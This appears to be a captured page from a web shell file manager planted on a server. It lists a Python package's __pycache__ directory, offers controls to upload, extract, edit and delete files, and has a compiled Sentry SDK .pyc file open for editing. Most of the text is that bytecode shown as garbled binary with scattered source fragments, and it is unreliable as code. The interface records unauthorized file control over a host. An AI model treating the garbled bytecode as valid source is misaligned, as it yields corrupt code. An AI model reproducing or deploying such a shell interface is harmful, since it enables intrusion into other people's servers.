⚠️ BACKUP DATA ANDA SECARA TERATUR! File manager ini untuk keperluan teknis.
Zy Filemanager
berang berang bawa gelek berangkat lek !!!
🌙 Dark Mode
🏠 Home Shell
🔄 Refresh
Current Path:
Home Shell
/
opt
/
hc_python
/
lib
/
python3.12
/
site-packages
/
sentry_sdk
/
integrations
/
openai_agents
/
__pycache__
⬆️ Parent Directory
📁 File Browser
Name
Size
Permissions
Modified Date
Actions
📄
__init__.cpython-312.pyc
(2,262 bytes)
2.21 KB
0644
📅
✏️
✍️
⬇️
🗑️
📄
consts.cpython-312.pyc
(230 bytes)
230 B
0644
📅
✏️
✍️
⬇️
🗑️
📄
utils.cpython-312.pyc
(8,719 bytes)
8.51 KB
0644
📅
✏️
✍️
⬇️
🗑️
📤 Upload Files
Single File
Multiple Files
ZIP Extract
ZIP file will be deleted after extraction
➕ Create New
New Folder
New File
✍️ Editing: utils.cpython-312.pyc
File: /opt/hc_python/lib/python3.12/site-packages/sentry_sdk/integrations/openai_agents/__pycache__/utils.cpython-312.pyc
Size: 8.51 KB | Last Modified: 2025-12-03 14:34:44
💾 Backup File
🔢 Toggle Line Numbers
� �/i� � �� � d dl Z d dlmZmZmZmZ d dlmZmZm Z d dl mZ d dlm Z d dlmZ d dlmZmZ d dlmZ erd d lmZ d d lmZ d dlZd� Zd � Zd� Zd� Zd� Zd� Zy# e$ r ed� �w xY w)� N)�GEN_AI_ALLOWED_MESSAGE_ROLES�normalize_message_roles�set_data_normalized�normalize_message_role)�SPANDATA� SPANSTATUS�OP)�DidNotEnable)�should_send_default_pii)�set_span_errored)�event_from_exception�safe_serialize)� TYPE_CHECKING)�Any)�UsagezOpenAI Agents not installedc � � t � t | t j � j ddd��� \ }}t j ||�� y )N� openai_agentsF)�type�handled)�client_options� mechanism)�hint)r r � sentry_sdk� get_client�options� capture_event)�exc�eventr s �Z/opt/hc_python/lib/python3.12/site-packages/sentry_sdk/integrations/openai_agents/utils.py�_capture_exceptionr sE � ���&��!�,�,�.�6�6�*�u�=��K�E�4� ���U��.� c � � | j t j d� | j t j |j � |j j r4| j t j |j j � |j rXt |j d� r|j j n|j }| j t j |� |j j r4| j t j |j j � |j j r4| j t j |j j � |j j r4| j t j |j j � |j j"